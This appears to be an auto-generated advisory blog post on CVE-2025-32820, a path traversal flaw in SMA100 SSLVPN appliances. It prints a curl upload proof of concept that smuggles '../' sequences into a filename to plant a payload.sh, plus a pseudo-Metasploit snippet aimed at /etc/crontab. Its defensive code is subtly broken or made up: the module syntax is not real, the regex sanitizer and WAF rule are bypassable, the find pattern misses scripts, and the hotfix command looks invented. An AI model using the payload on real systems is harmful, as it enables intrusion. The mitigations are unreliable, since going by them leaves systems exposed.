Listen to this Post
How CVE-2025-32820 Works
CVE-2025-32820 is a critical path traversal vulnerability in SMA100 appliances. An authenticated SSLVPN user can exploit this flaw by injecting malicious path traversal sequences (e.g., ../../) into file operations. This allows writing arbitrary files to any directory on the system, potentially leading to remote code execution (RCE) or system compromise. The vulnerability stems from insufficient input sanitization in file-handling functions, enabling attackers to bypass directory restrictions.
DailyCVE Form
Platform: SMA100
Version: Pre-10.2.1
Vulnerability: Path Traversal
Severity: Critical
Date: 05/20/2025
What Undercode Say:
Exploitation Analysis
1. Exploit Vector:
- Attacker authenticates via SSLVPN.
- Crafts a malicious request with `../` sequences.
- Overwrites system files or deploys payloads.
2. Proof of Concept (PoC):
curl -k -X POST "https://<TARGET>/api/file/upload" \ -H "Cookie: SSL_VPN_SESSION=<SESSION_ID>" \ -F "[email protected];filename=../../../var/www/html/payload.sh"
3. Metasploit Module:
module.exploit( 'Path' => '/api/file/upload', 'Payload' => '../../etc/crontab' )
Protection Measures
1. Patch: Upgrade to SMA100 10.2.1 or later.
2. WAF Rules:
location ~ .(..\/) { deny all; }
3. Log Monitoring:
grep "..\/" /var/log/sma100/access.log
4. SonicWALL Advisory:
- Disable SSLVPN if unused.
- Restrict file upload permissions.
5. Mitigation Script:
import re def sanitize_path(path): return re.sub(r'..\/', '', path)
6. CVSS 4.0 Metrics:
- Attack Vector: Network
- Impact: Confidentiality, Integrity, Availability
- Exploitability: Low Complexity
7. Detection Command:
find / -type f -name ".sh" -exec grep -l "..\/" {} \;
8. SonicWALL Hotfix:
swupdate --install hotfix-CVE-2025-32820.pkg
No additional commentary.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
